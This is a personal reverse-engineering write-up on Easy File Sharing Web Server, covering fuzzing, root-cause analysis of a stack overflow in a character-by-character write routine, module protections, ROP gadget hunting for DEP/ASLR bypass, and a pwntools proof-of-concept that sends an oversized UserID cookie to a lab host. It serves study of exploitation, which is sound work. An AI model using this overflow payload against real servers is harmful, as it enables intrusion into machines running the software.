# Lets learn Reverse Engineer 2! ###### tags: `reverse engineering`, `windows`, `pwn` This time, I will be doing RE on Easy File Sharing Webserver. It can be downloaded here: [https://www.exploit-db.com/exploits/44485 ](https://) We start by tracing the recv input. ``` bp ws2_32!WSArecv ``` ## RE Documentation 1) At `0x415063`, scans for frmUserName in the http request. Offset to string is returned in eax. The check seems to be done at `0x4FA250`. 2) Initially, Username and Password are pass through http request as UserId and Passwd. At `052D857`, userId and Passwd is changed to frmUserName and frmUserPass. It is copied into the heap here. ``` 004fc323 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] ``` 3) As the binary is too big, I decided to do some fuzzing. The crash is easy to trigger. I copy and paste the HTTP request from WireShark. And then increase the len for one of the parameters (in this case, userID) ![](https://i.imgur.com/X447oCc.png) Nice, we got a crash, and exchain has been overwritten. However, lets get down to the bottom of this, why is it crashing. ## Root Cause Analysis After narrowing down, the crash is when the database is preparing its SQL statement (`0049759E` and `0049758A`) At `0049758a`, the prepare statement is copied onto the stack. `0049758a` -> `00500640` -> `00500E44` -> `00500DDE` Damn, this stack buffer overflow is nicely obfuscated. The stack is written one character by one character in the highlighted line below, where **edx** is pointing to somewhere on the stack. ![](https://i.imgur.com/C7yjrfa.png) ![](https://i.imgur.com/C8yiJfm.png) Final decompiled version of the vulnerability is here. ``` int __cdecl write_string(int a1, int length_to_write, FILE *poi_UserBuffer, int a4) { int result; // eax int i; // ebx int UserBufferChar; // eax result = length_to_write; for ( i = length_to_write - 1; result > 0; result = i-- ) { UserBufferChar = *(char *)a1++; result = write_char(UserBufferChar, poi_UserBuffer, a4); if ( *(_DWORD *)a4 == -1 ) break; } return result; } ``` This vuln is much easier to find if we fuzz it... I guessing the learning point for this exercise is to take note of places that write into **stack** even though it is **written one character by one character**! ## DEP Bypass Output of `!load narly` and `!nmod` ``` 00400000 005c2000 fsws /SafeSEH OFF C:\EFS Software\Easy File Sharing Web Server\fsws.exe 00730000 00775000 SSLEAY32 /SafeSEH ON /GS C:\EFS Software\Easy File Sharing Web Server\SSLEAY32.dll 00a90000 00ba7000 LIBEAY32 /SafeSEH OFF C:\EFS Software\Easy File Sharing Web Server\LIBEAY32.dll 10000000 10050000 ImageLoad /SafeSEH OFF C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll 61c00000 61c99000 sqlite3 /SafeSEH OFF C:\EFS Software\Easy File Sharing Web Server\sqlite3.dll ``` ImageLoad and SQLite dlls are not compiled with ASLR, using these DLLs will allow us to bypass ASLR. ### Failed Attempt in going the SEH way... I found a few useful gadgets in ImageLoad dll but sadly there are NULL characters inside... In order to do **SEH+DEP bypass**, we need to do a **stack pivot**. Gadgets usually look something like this: `mov eax, esp+XXX; call [eax+XXX]`, where eax points to some second gadget in your buffer. The second gadget will then do a `xchg eax, esp` for example. Documentating some useful gadgets I found: 1) POPAD -> eax and ebp actually contain the address to buffer!! 2) Look for gadgets around +/- of ebp and esp. There are actually a lot of the buffer address in the stack. 3) Jmp dword [reg] 4) ### Challenges 1) Doing ROP with SQLite.dll is quite a failure. Most of the gadgets end with `leave; ret`. This basically `mov esp, ebp`, and mess up the stack frame... 2) Even the ROP gadgets in ImageLoad.dll are bad too... After running the below exploitation POC for a few times, I noticed the ESP is the following values in the different crashes. ### Crashed esp values ``` 02ea72a4 02e772a4 02e072a4 02d972a4 070972a4 02c172a4 ``` ### Exploitation POC ``` from pwn import * p = remote("192.168.106.136", 80) #Bad char = \x3B HTTPReq = b"" HTTPReq += b"POST /forum.ghp HTTP/1.1\r\n" HTTPReq += b"Host: 192.168.106.136\r\n" HTTPReq += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n" HTTPReq += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" HTTPReq += b"Accept-Language: en-US,en;q=0.5\r\n" HTTPReq += b"Accept-Encoding: gzip, deflate\r\n" HTTPReq += b"Content-Type: application/x-www-form-urlencoded\r\n" HTTPReq += b"Content-Length: 86\r\n" HTTPReq += b"Origin: http://192.168.106.136\r\n" HTTPReq += b"Connection: keep-alive\r\n" HTTPReq += b"Referer: http://192.168.106.136/login.htm\r\n" HTTPReq += b"Cookie: SESSIONID=31069; UserID=" payload = b"\x41" * 4071 payload += p32(0xCCCCCCCC) #0x100238cc: push esp ; and al, 0x10 ; pop esi ; mov dword [edx], ecx ; ret ; (1 found) payload += b"\x42" * 40 HTTPReq += payload HTTPReq += b"; PassWD=bbbbbbbbbbbbbbbbbbbbbbbbbbbb; frmUserName=; frmUserPass=; rememberPass=202%2C197%2C208%2C215%2C201\r\n" HTTPReq += b"Upgrade-Insecure-Requests: 1\r\n" HTTPReq += b"\r\n" HTTPReq += b"frmLogin4app=true&frmLogin=true&frmUserName=aaaa&frmUserPass=bbbbbb&login=Login%21\r\n" p.sendline(HTTPReq) p.interactive() ``` ## Exploitation Technique? One way I thought of is to do brute forcing of the stack value since usually in a stack overflow, we also overwrites into ebp. Sadly, this is not the case... Looking at the registers, thankfully, we have ecx! ![](https://i.imgur.com/owZF3um.png) So we can overwrite ecx with a **predicted stack value** then using the following gadgets, we can jump into our real ROP chain. ``` 0x1001fa0d: mov eax, ecx ; ret ; (1 found) 0x61c05e59: xchg eax, esp ; ret ; (1 found) ``` I have uploaded the dll and rop file onto github. If anyone who reads this and is able to generate a good ROP chain, I would love to exchange some ideas with you. Links below: https://github.com/cddc12346/RandomCTFs/tree/master/Some%20notes%20on%20Windows%20Internals/I%20Love%20RE/Easy%20File%20Sharing%20Web%20Server # Takeaway 1) **As usual**, always take note of places that write into **stack**. 2) Play with **Flirt** Signature, might allow you to identify some calls. 3)